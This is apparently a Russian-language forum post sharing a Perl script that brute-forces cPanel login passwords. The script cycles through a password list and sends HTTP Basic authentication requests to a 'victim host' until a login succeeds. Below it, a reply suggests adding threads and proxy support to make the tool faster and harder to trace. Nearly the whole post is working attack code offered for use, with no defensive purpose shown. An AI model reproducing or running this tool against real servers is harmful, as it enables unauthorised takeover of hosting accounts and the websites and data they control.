Cpanel Password Brute Forcer

Cpanel Password Brute Force Tool - скрипт который брутит пароли к cPANEL all version
Написан на: Perl
Автор: Hessam-x

Code:

#!/usr/bin/perl 
# Cpanel Password Brute Forcer 
# ---------------------------- 
#    (c)oded By Hessam-x 
# Perl Version ( low speed ) 
use IO::Socket; 
use LWP::Simple; 
use MIME::Base64; 

$host     = $ARGV[0]; 
$user     = $ARGV[1]; 
$port     = $ARGV[2]; 
$list     = $ARGV[3]; 
$file     = $ARGV[4]; 
$url = "http://".$host.":".$port; 
if(@ARGV < 3){ 
print q( 
############################################################### 
#               Cpanel Password Brute Force Tool              # 
############################################################### 
#     usage : cpanel.pl [HOST] [User] [PORT] [list]
[File]    # 
#-------------------------------------------------------------# 
#    [Host] : victim Host             (simorgh-ev.com)        # 
#    [User] : User Name               (demo)                  # 
#    [PORT] : Port of Cpanel          (2082)                  # 
#    [list]
: File Of password list   (list.txt)              # 
#    [File] : file for save password  (password.txt)          # 
#                                                             # 
############################################################### 
#            (c)oded By Hessam-x / 		              # 
############################################################### 
);exit;} 

headx(); 

$numstart  = "-1"; 

sub headx() { 
print q( 
############################################################### 
#              Cpanel Password Brute Force Tool               # 
#            (c)oded By Hessam-x / simorgh-ev.com             # 
############################################################### 
); 
open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !"; 
@PASSWORDS = <PASSFILE>; 
close PASSFILE; 
foreach my $P (@PASSWORDS) { 
chomp $P; 
$passwd = $P; 
print "\n [~] Try Password : $passwd \n"; 
&brut; 
}; 
} 
sub brut() { 
$authx = encode_base64($user.":".$passwd); 
print $authx; 
my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "\n [-] Can not connect to the host"; 
print $sock "GET / HTTP/1.1\n"; 
print $sock "Authorization: Basic $authx\n"; 
print $sock "Connection: Close\n\n"; 
read  $sock, $answer, 128; 
close($sock); 

if ($answer =~ /Moved/) { 
print "\n [~] PASSWORD FOUND : $passwd \n"; 
exit(); 
} 
}

 

1. Всегда включай в код use warnings; и use strict; - поймешь зачем.
2. Можно было бы включить поддержку потоков(минус - теряется кроссплатформенность)
3. неплохо было бы включить поддержку проксей, благо и модулей достаточно для работы с ними, да и РФЦ в свободном доступе...
4. Насколько знаю, цпанели проверяют реферер(может и ошибаюсь)

А так - респект, молодец...